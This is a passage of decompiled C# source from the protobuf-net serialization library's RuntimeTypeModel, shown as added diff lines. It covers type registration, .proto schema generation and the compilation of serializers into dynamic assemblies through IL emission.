Serializer => serializer; + + public BasicType(Type type, IProtoSerializer serializer) + { + this.type = type; + this.serializer = serializer; + } + } + + internal sealed class SerializerPair : IComparable + { + public readonly int MetaKey; + + public readonly int BaseKey; + + public readonly MetaType Type; + + public readonly MethodBuilder Serialize; + + public readonly MethodBuilder Deserialize; + + public readonly ILGenerator SerializeBody; + + public readonly ILGenerator DeserializeBody; + + int IComparable.CompareTo(object obj) + { + if (obj == null) + { + throw new ArgumentException("obj"); + } + SerializerPair serializerPair = (SerializerPair)obj; + int metaKey; + if (BaseKey == MetaKey) + { + if (serializerPair.BaseKey == serializerPair.MetaKey) + { + metaKey = MetaKey; + return metaKey.CompareTo(serializerPair.MetaKey); + } + return 1; + } + if (serializerPair.BaseKey == serializerPair.MetaKey) + { + return -1; + } + metaKey = BaseKey; + int num = metaKey.CompareTo(serializerPair.BaseKey); + if (num == 0) + { + metaKey = MetaKey; + num = metaKey.CompareTo(serializerPair.MetaKey); + } + return num; + } + + public SerializerPair(int metaKey, int baseKey, MetaType type, MethodBuilder serialize, MethodBuilder deserialize, ILGenerator serializeBody, ILGenerator deserializeBody) + { + MetaKey = metaKey; + BaseKey = baseKey; + Serialize = serialize; + Deserialize = deserialize; + SerializeBody = serializeBody; + DeserializeBody = deserializeBody; + Type = type; + } + } + + public sealed class CompilerOptions + { + private string targetFrameworkName; + + private string targetFrameworkDisplayName; + + private string typeName; + + private string outputPath; + + private string imageRuntimeVersion; + + private int metaDataVersion; + + private Accessibility accessibility; + + public string TargetFrameworkName + { + get + { + return targetFrameworkName; + } + set + { + targetFrameworkName = value; + } + } + + public string TargetFrameworkDisplayName + { + get + { + return targetFrameworkDisplayName; + } + set + { + targetFrameworkDisplayName = value; + } + } + + public string TypeName + { + get + { + return typeName; + } + set + { + typeName = value; + } + } + + public string OutputPath + { + get + { + return outputPath; + } + set + { + outputPath = value; + } + } + + public string ImageRuntimeVersion + { + get + { + return imageRuntimeVersion; + } + set + { + imageRuntimeVersion = value; + } + } + + public int MetaDataVersion + { + get + { + return metaDataVersion; + } + set + { + metaDataVersion = value; + } + } + + public string AssemblyCompanyName { get; set; } + + public string AssemblyCopyright { get; set; } + + public string AssemblyDescription { get; set; } + + public string AssemblyProductName { get; set; } + + public string AssemblyTitle { get; set; } + + public string AssemblyTrademark { get; set; } + + public Version AssemblyVersion { get; set; } + + public Version AssemblyProductVersion { get; set; } + + public Accessibility Accessibility + { + get + { + return accessibility; + } + set + { + accessibility = value; + } + } + + public void SetFrameworkOptions(MetaType from) + { + if (from == null) + { + throw new ArgumentNullException("from"); + } + AttributeMap[] array = AttributeMap.Create(from.Model, Helpers.GetAssembly(from.Type)); + AttributeMap[] array2 = array; + foreach (AttributeMap attributeMap in array2) + { + if (attributeMap.AttributeType.FullName == "System.Runtime.Versioning.TargetFrameworkAttribute") + { + if (attributeMap.TryGet("FrameworkName", out var value)) + { + TargetFrameworkName = (string)value; + } + if (attributeMap.TryGet("FrameworkDisplayName", out value)) + { + TargetFrameworkDisplayName = (string)value; + } + break; + } + } + } + } + + public enum Accessibility + { + Public, + Internal + } + + private ushort options; + + private const ushort OPTIONS_InferTagFromNameDefault = 1; + + private const ushort OPTIONS_IsDefaultModel = 2; + + private const ushort OPTIONS_Frozen = 4; + + private const ushort OPTIONS_AutoAddMissingTypes = 8; + + private const ushort OPTIONS_AutoCompile = 16; + + private const ushort OPTIONS_UseImplicitZeroDefaults = 32; + + private const ushort OPTIONS_AllowParseableTypes = 64; + + private const ushort OPTIONS_AutoAddProtoContractTypesOnly = 128; + + private const ushort OPTIONS_IncludeDateTimeKind = 256; + + private const ushort OPTIONS_DoNotInternStrings = 512; + + private static readonly BasicList.MatchPredicate MetaTypeFinder = MetaTypeFinderImpl; + + private static readonly BasicList.MatchPredicate BasicTypeFinder = BasicTypeFinderImpl; + + private BasicList basicTypes = new BasicList(); + + private readonly BasicList types = new BasicList(); + + private const int KnownTypes_Array = 1; + + private const int KnownTypes_Dictionary = 2; + + private const int KnownTypes_Hashtable = 3; + + private const int KnownTypes_ArrayCutoff = 20; + + private int metadataTimeoutMilliseconds = 5000; + + private int contentionCounter = 1; + + private MethodInfo defaultFactory; + + public bool InferTagFromNameDefault + { + get + { + return GetOption(1); + } + set + { + SetOption(1, value); + } + } + + public bool AutoAddProtoContractTypesOnly + { + get + { + return GetOption(128); + } + set + { + SetOption(128, value); + } + } + + public bool UseImplicitZeroDefaults + { + get + { + return GetOption(32); + } + set + { + if (!value && GetOption(2)) + { + throw new InvalidOperationException("UseImplicitZeroDefaults cannot be disabled on the default model"); + } + SetOption(32, value); + } + } + + public bool AllowParseableTypes + { + get + { + return GetOption(64); + } + set + { + SetOption(64, value); + } + } + + public bool IncludeDateTimeKind + { + get + { + return GetOption(256); + } + set + { + SetOption(256, value); + } + } + + public bool InternStrings + { + get + { + return !GetOption(512); + } + set + { + SetOption(512, !value); + } + } + + public static RuntimeTypeModel Default => Singleton.Value; + + public MetaType this[Type type] => (MetaType)types[FindOrAddAuto(type, demand: true, addWithContractOnly: false, addEvenIfAutoDisabled: false)]; + + public bool AutoCompile + { + get + { + return GetOption(16); + } + set + { + SetOption(16, value); + } + } + + public bool AutoAddMissingTypes + { + get + { + return GetOption(8); + } + set + { + if (!value && GetOption(2)) + { + throw new InvalidOperationException("The default model must allow missing types"); + } + ThrowIfFrozen(); + SetOption(8, value); + } + } + + public int MetadataTimeoutMilliseconds + { + get + { + return metadataTimeoutMilliseconds; + } + set + { + if (value <= 0) + { + throw new ArgumentOutOfRangeException("MetadataTimeoutMilliseconds"); + } + metadataTimeoutMilliseconds = value; + } + } + + public event LockContentedEventHandler LockContended; + + public event EventHandler BeforeApplyDefaultBehaviour; + + public event EventHandler AfterApplyDefaultBehaviour; + + private bool GetOption(ushort option) + { + return (options & option) == option; + } + + private void SetOption(ushort option, bool value) + { + if (value) + { + options |= option; + } + else + { + options &= (ushort)(~option); + } + } + + protected internal override bool SerializeDateTimeKind() + { + return GetOption(256); + } + + public IEnumerable GetTypes() + { + return types; + } + + public override string GetSchema(Type type, ProtoSyntax syntax) + { + BasicList basicList = new BasicList(); + MetaType metaType = null; + bool flag = false; + if ((object)type == null) + { + BasicList.NodeEnumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + MetaType metaType2 = (MetaType)enumerator.Current; + MetaType surrogateOrBaseOrSelf = metaType2.GetSurrogateOrBaseOrSelf(deep: false); + if (!basicList.Contains(surrogateOrBaseOrSelf)) + { + basicList.Add(surrogateOrBaseOrSelf); + CascadeDependents(basicList, surrogateOrBaseOrSelf); + } + } + } + else + { + Type underlyingType = Helpers.GetUnderlyingType(type); + if ((object)underlyingType != null) + { + type = underlyingType; + } + flag = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, type, out var _, asReference: false, dynamicType: false, overwriteList: false, allowComplexTypes: false) != null; + if (!flag) + { + int num = FindOrAddAuto(type, demand: false, addWithContractOnly: false, addEvenIfAutoDisabled: false); + if (num < 0) + { + throw new ArgumentException("The type specified is not a contract-type", "type"); + } + metaType = ((MetaType)types[num]).GetSurrogateOrBaseOrSelf(deep: false); + basicList.Add(metaType); + CascadeDependents(basicList, metaType); + } + } + StringBuilder stringBuilder = new StringBuilder(); + string text = null; + if (!flag) + { + IEnumerable enumerable = ((metaType == null) ? types : basicList); + foreach (MetaType item in enumerable) + { + if (item.IsList) + { + continue; + } + string text2 = item.Type.Namespace; + if (!string.IsNullOrEmpty(text2) && !text2.StartsWith("System.")) + { + if (text == null) + { + text = text2; + } + else if (!(text == text2)) + { + text = null; + break; + } + } + } + } + switch (syntax) + { + case ProtoSyntax.Proto2: + stringBuilder.AppendLine("syntax = \"proto2\";"); + break; + case ProtoSyntax.Proto3: + stringBuilder.AppendLine("syntax = \"proto3\";"); + break; + default: + throw new ArgumentOutOfRangeException("syntax"); + } + if (!string.IsNullOrEmpty(text)) + { + stringBuilder.Append("package ").Append(text).Append(';'); + Helpers.AppendLine(stringBuilder); + } + CommonImports imports = CommonImports.None; + StringBuilder stringBuilder2 = new StringBuilder(); + MetaType[] array = new MetaType[basicList.Count]; + basicList.CopyTo(array, 0); + Array.Sort(array, MetaType.Comparer.Default); + if (flag) + { + Helpers.AppendLine(stringBuilder2).Append("message ").Append(type.Name) + .Append(" {"); + MetaType.NewLine(stringBuilder2, 1).Append((syntax == ProtoSyntax.Proto2) ? "optional " : "").Append(GetSchemaTypeName(type, DataFormat.Default, asReference: false, dynamicType: false, ref imports)) + .Append(" value = 1;"); + Helpers.AppendLine(stringBuilder2).Append('}'); + } + else + { + foreach (MetaType metaType4 in array) + { + if (!metaType4.IsList || metaType4 == metaType) + { + metaType4.WriteSchema(stringBuilder2, 0, ref imports, syntax); + } + } + } + if ((imports & CommonImports.Bcl) != CommonImports.None) + { + stringBuilder.Append("import \"protobuf-net/bcl.proto\"; // schema for protobuf-net's handling of core .NET types"); + Helpers.AppendLine(stringBuilder); + } + if ((imports & CommonImports.Protogen) != CommonImports.None) + { + stringBuilder.Append("import \"protobuf-net/protogen.proto\"; // custom protobuf-net options"); + Helpers.AppendLine(stringBuilder); + } + if ((imports & CommonImports.Timestamp) != CommonImports.None) + { + stringBuilder.Append("import \"google/protobuf/timestamp.proto\";"); + Helpers.AppendLine(stringBuilder); + } + if ((imports & CommonImports.Duration) != CommonImports.None) + { + stringBuilder.Append("import \"google/protobuf/duration.proto\";"); + Helpers.AppendLine(stringBuilder); + } + return Helpers.AppendLine(stringBuilder.Append((object?)stringBuilder2)).ToString(); + } + + private void CascadeDependents(BasicList list, MetaType metaType) + { + if (metaType.IsList) + { + Type listItemType = TypeModel.GetListItemType(this, metaType.Type); + TryGetCoreSerializer(list, listItemType); + return; + } + if (metaType.IsAutoTuple) + { + if ((object)MetaType.ResolveTupleConstructor(metaType.Type, out var mappedMembers) != null) + { + for (int i = 0; i < mappedMembers.Length; i++) + { + Type itemType = null; + if (mappedMembers[i] is PropertyInfo) + { + itemType = ((PropertyInfo)mappedMembers[i]).PropertyType; + } + else if (mappedMembers[i] is FieldInfo) + { + itemType = ((FieldInfo)mappedMembers[i]).FieldType; + } + TryGetCoreSerializer(list, itemType); + } + } + } + else + { + foreach (ValueMember field in metaType.Fields) + { + Type valueType = field.ItemType; + if (field.IsMap) + { + field.ResolveMapTypes(out var _, out var _, out valueType); + } + if ((object)valueType == null) + { + valueType = field.MemberType; + } + TryGetCoreSerializer(list, valueType); + } + } + foreach (Type allGenericArgument in metaType.GetAllGenericArguments()) + { + TryGetCoreSerializer(list, allGenericArgument); + } + MetaType surrogateOrSelf; + if (metaType.HasSubtypes) + { + SubType[] subtypes = metaType.GetSubtypes(); + foreach (SubType subType in subtypes) + { + surrogateOrSelf = subType.DerivedType.GetSurrogateOrSelf(); + if (!list.Contains(surrogateOrSelf)) + { + list.Add(surrogateOrSelf); + CascadeDependents(list, surrogateOrSelf); + } + } + } + surrogateOrSelf = metaType.BaseType; + if (surrogateOrSelf != null) + { + surrogateOrSelf = surrogateOrSelf.GetSurrogateOrSelf(); + } + if (surrogateOrSelf != null && !list.Contains(surrogateOrSelf)) + { + list.Add(surrogateOrSelf); + CascadeDependents(list, surrogateOrSelf); + } + } + + private void TryGetCoreSerializer(BasicList list, Type itemType) + { + WireType defaultWireType; + IProtoSerializer protoSerializer = ValueMember.TryGetCoreSerializer(this, DataFormat.Default, itemType, out defaultWireType, asReference: false, dynamicType: false, overwriteList: false, allowComplexTypes: false); + if (protoSerializer != null) + { + return; + } + int num = FindOrAddAuto(itemType, demand: false, addWithContractOnly: false, addEvenIfAutoDisabled: false); + if (num >= 0) + { + MetaType surrogateOrBaseOrSelf = ((MetaType)types[num]).GetSurrogateOrBaseOrSelf(deep: false); + if (!list.Contains(surrogateOrBaseOrSelf)) + { + list.Add(surrogateOrBaseOrSelf); + CascadeDependents(list, surrogateOrBaseOrSelf); + } + } + } + + public static RuntimeTypeModel Create(string name = null) + { + return new RuntimeTypeModel(isDefault: false); + } + + private RuntimeTypeModel(bool isDefault) + { + AutoAddMissingTypes = true; + UseImplicitZeroDefaults = true; + SetOption(2, isDefault); + try + { + AutoCompile = EnableAutoCompile(); + } + catch + { + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + internal static bool EnableAutoCompile() + { + try + { + DynamicMethod dynamicMethod = new DynamicMethod("CheckCompilerAvailable", typeof(bool), new Type[1] { typeof(int) }); + ILGenerator iLGenerator = dynamicMethod.GetILGenerator(); + iLGenerator.Emit(OpCodes.Ldarg_0); + iLGenerator.Emit(OpCodes.Ldc_I4, 42); + iLGenerator.Emit(OpCodes.Ceq); + iLGenerator.Emit(OpCodes.Ret); + Predicate predicate = (Predicate)dynamicMethod.CreateDelegate(typeof(Predicate)); + return predicate(42); + } + catch (Exception) + { + return false; + } + } + + internal MetaType FindWithoutAdd(Type type) + { + BasicList.NodeEnumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + MetaType metaType = (MetaType)enumerator.Current; + if ((object)metaType.Type == type) + { + if (metaType.Pending) + { + WaitOnLock(metaType); + } + return metaType; + } + } + Type type2 = TypeModel.ResolveProxies(type); + if ((object)type2 != null) + { + return FindWithoutAdd(type2); + } + return null; + } + + private static bool MetaTypeFinderImpl(object value, object ctx) + { + return (object)((MetaType)value).Type == (Type)ctx; + } + + private static bool BasicTypeFinderImpl(object value, object ctx) + { + return (object)((BasicType)value).Type == (Type)ctx; + } + + private void WaitOnLock(MetaType type) + { + int opaqueToken = 0; + try + { + TakeLock(ref opaqueToken); + } + finally + { + ReleaseLock(opaqueToken); + } + } + + internal IProtoSerializer TryGetBasicTypeSerializer(Type type) + { + int num = basicTypes.IndexOf(BasicTypeFinder, type); + if (num >= 0) + { + return ((BasicType)basicTypes[num]).Serializer; + } + lock (basicTypes) + { + num = basicTypes.IndexOf(BasicTypeFinder, type); + if (num >= 0) + { + return ((BasicType)basicTypes[num]).Serializer; + } + WireType defaultWireType; + IProtoSerializer protoSerializer = ((MetaType.GetContractFamily(this, type, null) == MetaType.AttributeFamily.None) ? ValueMember.TryGetCoreSerializer(this, DataFormat.Default, type, out defaultWireType, asReference: false, dynamicType: false, overwriteList: false, allowComplexTypes: false) : null); + if (protoSerializer != null) + { + basicTypes.Add(new BasicType(type, protoSerializer)); + } + return protoSerializer; + } + } + + internal int FindOrAddAuto(Type type, bool demand, bool addWithContractOnly, bool addEvenIfAutoDisabled) + { + int num = types.IndexOf(MetaTypeFinder, type); + if (num >= 0) + { + MetaType metaType = (MetaType)types[num]; + if (metaType.Pending) + { + WaitOnLock(metaType); + } + return num; + } + bool flag = AutoAddMissingTypes || addEvenIfAutoDisabled; + if (!Helpers.IsEnum(type) && TryGetBasicTypeSerializer(type) != null) + { + if (flag && !addWithContractOnly) + { + throw MetaType.InbuiltType(type); + } + return -1; + } + Type type2 = TypeModel.ResolveProxies(type); + if ((object)type2 != null && (object)type2 != type) + { + num = types.IndexOf(MetaTypeFinder, type2); + type = type2; + } + if (num < 0) + { + int opaqueToken = 0; + Type type3 = type; + bool flag2 = false; + try + { + TakeLock(ref opaqueToken); + MetaType metaType; + if ((metaType = RecogniseCommonTypes(type)) == null) + { + MetaType.AttributeFamily contractFamily = MetaType.GetContractFamily(this, type, null); + if (contractFamily == MetaType.AttributeFamily.AutoTuple) + { + flag = (addEvenIfAutoDisabled = true); + } + if (!flag || (!Helpers.IsEnum(type) && addWithContractOnly && contractFamily == MetaType.AttributeFamily.None)) + { + if (demand) + { + TypeModel.ThrowUnexpectedType(type); + } + return num; + } + metaType = Create(type); + } + metaType.Pending = true; + int num2 = types.IndexOf(MetaTypeFinder, type); + if (num2 < 0) + { + ThrowIfFrozen(); + num = types.Add(metaType); + flag2 = true; + } + else + { + num = num2; + } + if (flag2) + { + metaType.ApplyDefaultBehaviour(); + metaType.Pending = false; + } + } + finally + { + ReleaseLock(opaqueToken); + if (flag2) + { + ResetKeyCache(); + } + } + } + return num; + } + + private MetaType RecogniseCommonTypes(Type type) + { + return null; + } + + private MetaType Create(Type type) + { + ThrowIfFrozen(); + return new MetaType(this, type, defaultFactory); + } + + public MetaType Add(Type type, bool applyDefaultBehaviour) + { + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + MetaType metaType = FindWithoutAdd(type); + if (metaType != null) + { + return metaType; + } + int opaqueToken = 0; + if (type.IsInterface && MapType(MetaType.ienumerable).IsAssignableFrom(type) && (object)TypeModel.GetListItemType(this, type) == null) + { + throw new ArgumentException("IEnumerable[] data cannot be used as a meta-type unless an Add method can be resolved"); + } + try + { + metaType = RecogniseCommonTypes(type); + if (metaType != null) + { + if (!applyDefaultBehaviour) + { + throw new ArgumentException("Default behaviour must be observed for certain types with special handling; " + type.FullName, "applyDefaultBehaviour"); + } + applyDefaultBehaviour = false; + } + if (metaType == null) + { + metaType = Create(type); + } + metaType.Pending = true; + TakeLock(ref opaqueToken); + if (FindWithoutAdd(type) != null) + { + throw new ArgumentException("Duplicate type", "type"); + } + ThrowIfFrozen(); + types.Add(metaType); + if (applyDefaultBehaviour) + { + metaType.ApplyDefaultBehaviour(); + } + metaType.Pending = false; + return metaType; + } + finally + { + ReleaseLock(opaqueToken); + ResetKeyCache(); + } + } + + private void ThrowIfFrozen() + { + if (GetOption(4)) + { + throw new InvalidOperationException("The model cannot be changed once frozen"); + } + } + + public void Freeze() + { + if (GetOption(2)) + { + throw new InvalidOperationException("The default model cannot be frozen"); + } + SetOption(4, value: true); + } + + protected override int GetKeyImpl(Type type) + { + return GetKey(type, demand: false, getBaseKey: true); + } + + internal int GetKey(Type type, bool demand, bool getBaseKey) + { + try + { + int num = FindOrAddAuto(type, demand, addWithContractOnly: true, addEvenIfAutoDisabled: false); + if (num >= 0) + { + MetaType source = (MetaType)types[num]; + if (getBaseKey) + { + source = MetaType.GetRootType(source); + num = FindOrAddAuto(source.Type, demand: true, addWithContractOnly: true, addEvenIfAutoDisabled: false); + } + } + return num; + } + catch (NotSupportedException) + { + throw; + } + catch (Exception ex2) + { + if (ex2.Message.IndexOf(type.FullName) >= 0) + { + throw; + } + throw new ProtoException(ex2.Message + " (" + type.FullName + ")", ex2); + } + } + + protected internal override void Serialize(int key, object value, ProtoWriter dest) + { + ((MetaType)types[key]).Serializer.Write(value, dest); + } + + protected internal override object Deserialize(int key, object value, ProtoReader source) + { + IProtoSerializer serializer = ((MetaType)types[key]).Serializer; + if (value == null && Helpers.IsValueType(serializer.ExpectedType)) + { + if (serializer.RequiresOldValue) + { + value = Activator.CreateInstance(serializer.ExpectedType); + } + return serializer.Read(value, source); + } + return serializer.Read(value, source); + } + + internal ProtoSerializer GetSerializer(IProtoSerializer serializer, bool compiled) + { + if (serializer == null) + { + throw new ArgumentNullException("serializer"); + } + if (compiled) + { + return CompilerContext.BuildSerializer(serializer, this); + } + return serializer.Write; + } + + public void CompileInPlace() + { + BasicList.NodeEnumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + MetaType metaType = (MetaType)enumerator.Current; + metaType.CompileInPlace(); + } + } + + private void BuildAllSerializers() + { + for (int i = 0; i < types.Count; i++) + { + MetaType metaType = (MetaType)types[i]; + if (metaType.Serializer == null) + { + throw new InvalidOperationException("No serializer available for " + metaType.Type.Name); + } + } + } + + public TypeModel Compile() + { + CompilerOptions compilerOptions = new CompilerOptions(); + return Compile(compilerOptions); + } + + private static ILGenerator Override(TypeBuilder type, string name) + { + MethodInfo method = type.BaseType.GetMethod(name, BindingFlags.Instance | BindingFlags.NonPublic); + ParameterInfo[] parameters = method.GetParameters(); + Type[] array = new Type[parameters.Length]; + for (int i = 0; i < array.Length; i++) + { + array[i] = parameters[i].ParameterType; + } + MethodBuilder methodBuilder = type.DefineMethod(method.Name, (method.Attributes & ~MethodAttributes.Abstract) | MethodAttributes.Final, method.CallingConvention, method.ReturnType, array); + ILGenerator iLGenerator = methodBuilder.GetILGenerator(); + type.DefineMethodOverride(methodBuilder, method); + return iLGenerator; + } + + public TypeModel Compile(string name, string path) + { + CompilerOptions compilerOptions = new CompilerOptions(); + compilerOptions.TypeName = name; + compilerOptions.OutputPath = path; + return Compile(compilerOptions); + } + + public TypeModel Compile(CompilerOptions options) + { + if (options == null) + { + throw new ArgumentNullException("options"); + } + string text = options.TypeName; + string outputPath = options.OutputPath; + BuildAllSerializers(); + Freeze(); + bool flag = !string.IsNullOrEmpty(outputPath); + if (string.IsNullOrEmpty(text)) + { + if (flag) + { + throw new ArgumentNullException("typeName"); + } + text = Guid.NewGuid().ToString(); + } + string text2; + string text3; + if (outputPath == null) + { + text2 = text; + text3 = text2 + ".dll"; + } + else + { + text2 = new FileInfo(Path.GetFileNameWithoutExtension(outputPath)).Name; + text3 = text2 + Path.GetExtension(outputPath); + } + AssemblyName assemblyName = new AssemblyName + { + Version = options.AssemblyVersion + }; + assemblyName.Name = text2; + AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, (!flag) ? AssemblyBuilderAccess.Run : ((AssemblyBuilderAccess)3)); + ModuleBuilder module = (flag ? assemblyBuilder.DefineDynamicModule(text3, outputPath) : assemblyBuilder.DefineDynamicModule(text3)); + WriteAssemblyAttributes(options, text2, assemblyBuilder); + TypeBuilder typeBuilder = WriteBasicTypeModel(options, text, module); + WriteSerializers(options, text2, typeBuilder, out var index, out var hasInheritance, out var methodPairs, out var ilVersion); + WriteGetKeyImpl(typeBuilder, hasInheritance, methodPairs, ilVersion, text2, out var il, out var knownTypesCategory, out var knownTypes, out var knownTypesLookupType); + il = Override(typeBuilder, "SerializeDateTimeKind"); + il.Emit(IncludeDateTimeKind ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0); + il.Emit(OpCodes.Ret); + CompilerContext ctx = WriteSerializeDeserialize(text2, typeBuilder, methodPairs, ilVersion, ref il); + WriteConstructors(typeBuilder, ref index, methodPairs, ref il, knownTypesCategory, knownTypes, knownTypesLookupType, ctx); + Type type = typeBuilder.CreateType(); + if (!string.IsNullOrEmpty(outputPath)) + { + try + { + assemblyBuilder.Save(outputPath); + } + catch (IOException ex) + { + throw new IOException(outputPath + ", " + ex.Message, ex); + } + } + return (TypeModel)Activator.CreateInstance(type); + } + + private void WriteConstructors(TypeBuilder type, ref int index, SerializerPair[] methodPairs, ref ILGenerator il, int knownTypesCategory, FieldBuilder knownTypes, Type knownTypesLookupType, CompilerContext ctx) + { + type.DefineDefaultConstructor(MethodAttributes.Public); + il = type.DefineTypeInitializer().GetILGenerator(); + switch (knownTypesCategory) + { + case 1: + CompilerContext.LoadValue(il, types.Count); + il.Emit(OpCodes.Newarr, ctx.MapType(typeof(Type))); + index = 0; + foreach (SerializerPair serializerPair3 in methodPairs) + { + il.Emit(OpCodes.Dup); + CompilerContext.LoadValue(il, index); + il.Emit(OpCodes.Ldtoken, serializerPair3.Type.Type); + il.EmitCall(OpCodes.Call, ctx.MapType(typeof(Type)).GetMethod("GetTypeFromHandle"), null); + il.Emit(OpCodes.Stelem_Ref); + index++; + } + il.Emit(OpCodes.Stsfld, knownTypes); + il.Emit(OpCodes.Ret); + break; + case 2: + { + CompilerContext.LoadValue(il, types.Count); + il.Emit(OpCodes.Newobj, knownTypesLookupType.GetConstructor(new Type[1] { MapType(typeof(int)) })); + il.Emit(OpCodes.Stsfld, knownTypes); + int num2 = 0; + foreach (SerializerPair serializerPair2 in methodPairs) + { + il.Emit(OpCodes.Ldsfld, knownTypes); + il.Emit(OpCodes.Ldtoken, serializerPair2.Type.Type); + il.EmitCall(OpCodes.Call, ctx.MapType(typeof(Type)).GetMethod("GetTypeFromHandle"), null); + int value2 = num2++; + int baseKey2 = serializerPair2.BaseKey; + if (baseKey2 != serializerPair2.MetaKey) + { + value2 = -1; + for (int l = 0; l < methodPairs.Length; l++) + { + if (methodPairs[l].BaseKey == baseKey2 && methodPairs[l].MetaKey == baseKey2) + { + value2 = l; + break; + } + } + } + CompilerContext.LoadValue(il, value2); + il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("Add", new Type[2] + { + MapType(typeof(Type)), + MapType(typeof(int)) + }), null); + } + il.Emit(OpCodes.Ret); + break; + } + case 3: + { + CompilerContext.LoadValue(il, types.Count); + il.Emit(OpCodes.Newobj, knownTypesLookupType.GetConstructor(new Type[1] { MapType(typeof(int)) })); + il.Emit(OpCodes.Stsfld, knownTypes); + int num = 0; + foreach (SerializerPair serializerPair in methodPairs) + { + il.Emit(OpCodes.Ldsfld, knownTypes); + il.Emit(OpCodes.Ldtoken, serializerPair.Type.Type); + il.EmitCall(OpCodes.Call, ctx.MapType(typeof(Type)).GetMethod("GetTypeFromHandle"), null); + int value = num++; + int baseKey = serializerPair.BaseKey; + if (baseKey != serializerPair.MetaKey) + { + value = -1; + for (int j = 0; j < methodPairs.Length; j++) + { + if (methodPairs[j].BaseKey == baseKey && methodPairs[j].MetaKey == baseKey) + { + value = j; + break; + } + } + } + CompilerContext.LoadValue(il, value); + il.Emit(OpCodes.Box, MapType(typeof(int))); + il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("Add", new Type[2] + { + MapType(typeof(object)), + MapType(typeof(object)) + }), null); + } + il.Emit(OpCodes.Ret); + break; + } + default: + throw new InvalidOperationException(); + } + } + + private CompilerContext WriteSerializeDeserialize(string assemblyName, TypeBuilder type, SerializerPair[] methodPairs, CompilerContext.ILVersion ilVersion, ref ILGenerator il) + { + il = Override(type, "Serialize"); + CompilerContext compilerContext = new CompilerContext(il, isStatic: false, isWriter: true, methodPairs, this, ilVersion, assemblyName, MapType(typeof(object)), "Serialize " + type.Name); + CodeLabel[] array = new CodeLabel[types.Count]; + for (int i = 0; i < array.Length; i++) + { + array[i] = compilerContext.DefineLabel(); + } + il.Emit(OpCodes.Ldarg_1); + compilerContext.Switch(array); + compilerContext.Return(); + for (int j = 0; j < array.Length; j++) + { + SerializerPair serializerPair = methodPairs[j]; + compilerContext.MarkLabel(array[j]); + il.Emit(OpCodes.Ldarg_2); + compilerContext.CastFromObject(serializerPair.Type.Type); + il.Emit(OpCodes.Ldarg_3); + il.EmitCall(OpCodes.Call, serializerPair.Serialize, null); + compilerContext.Return(); + } + il = Override(type, "Deserialize"); + compilerContext = new CompilerContext(il, isStatic: false, isWriter: false, methodPairs, this, ilVersion, assemblyName, MapType(typeof(object)), "Deserialize " + type.Name); + for (int k = 0; k < array.Length; k++) + { + array[k] = compilerContext.DefineLabel(); + } + il.Emit(OpCodes.Ldarg_1); + compilerContext.Switch(array); + compilerContext.LoadNullRef(); + compilerContext.Return(); + for (int l = 0; l < array.Length; l++) + { + SerializerPair serializerPair2 = methodPairs[l]; + compilerContext.MarkLabel(array[l]); + Type type2 = serializerPair2.Type.Type; + if (Helpers.IsValueType(type2)) + { + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldarg_3); + il.EmitCall(OpCodes.Call, EmitBoxedSerializer(type, l, type2, methodPairs, this, ilVersion, assemblyName), null); + compilerContext.Return(); + } + else + { + il.Emit(OpCodes.Ldarg_2); + compilerContext.CastFromObject(type2); + il.Emit(OpCodes.Ldarg_3); + il.EmitCall(OpCodes.Call, serializerPair2.Deserialize, null); + compilerContext.Return(); + } + } + return compilerContext; + } + + private void WriteGetKeyImpl(TypeBuilder type, bool hasInheritance, SerializerPair[] methodPairs, CompilerContext.ILVersion ilVersion, string assemblyName, out ILGenerator il, out int knownTypesCategory, out FieldBuilder knownTypes, out Type knownTypesLookupType) + { + il = Override(type, "GetKeyImpl"); + CompilerContext compilerContext = new CompilerContext(il, isStatic: false, isWriter: false, methodPairs, this, ilVersion, assemblyName, MapType(typeof(Type), demand: true), "GetKeyImpl"); + if (types.Count <= 20) + { + knownTypesCategory = 1; + knownTypesLookupType = MapType(typeof(Type[]), demand: true); + } + else + { + knownTypesLookupType = MapType(typeof(Dictionary), demand: false); + if ((object)knownTypesLookupType == null) + { + knownTypesLookupType = MapType(typeof(Hashtable), demand: true); + knownTypesCategory = 3; + } + else + { + knownTypesCategory = 2; + } + } + knownTypes = type.DefineField("knownTypes", knownTypesLookupType, FieldAttributes.Private | FieldAttributes.Static | FieldAttributes.InitOnly); + switch (knownTypesCategory) + { + case 1: + il.Emit(OpCodes.Ldsfld, knownTypes); + il.Emit(OpCodes.Ldarg_1); + il.EmitCall(OpCodes.Callvirt, MapType(typeof(IList)).GetMethod("IndexOf", new Type[1] { MapType(typeof(object)) }), null); + if (hasInheritance) + { + il.DeclareLocal(MapType(typeof(int))); + il.Emit(OpCodes.Dup); + il.Emit(OpCodes.Stloc_0); + BasicList basicList = new BasicList(); + int num = -1; + for (int i = 0; i < methodPairs.Length && methodPairs[i].MetaKey != methodPairs[i].BaseKey; i++) + { + if (num == methodPairs[i].BaseKey) + { + basicList.Add(basicList[basicList.Count - 1]); + continue; + } + basicList.Add(compilerContext.DefineLabel()); + num = methodPairs[i].BaseKey; + } + CodeLabel[] array = new CodeLabel[basicList.Count]; + basicList.CopyTo(array, 0); + compilerContext.Switch(array); + il.Emit(OpCodes.Ldloc_0); + il.Emit(OpCodes.Ret); + num = -1; + for (int num2 = array.Length - 1; num2 >= 0; num2--) + { + if (num != methodPairs[num2].BaseKey) + { + num = methodPairs[num2].BaseKey; + int value = -1; + for (int j = array.Length; j < methodPairs.Length; j++) + { + if (methodPairs[j].BaseKey == num && methodPairs[j].MetaKey == num) + { + value = j; + break; + } + } + compilerContext.MarkLabel(array[num2]); + CompilerContext.LoadValue(il, value); + il.Emit(OpCodes.Ret); + } + } + } + else + { + il.Emit(OpCodes.Ret); + } + break; + case 2: + { + LocalBuilder local = il.DeclareLocal(MapType(typeof(int))); + Label label2 = il.DefineLabel(); + il.Emit(OpCodes.Ldsfld, knownTypes); + 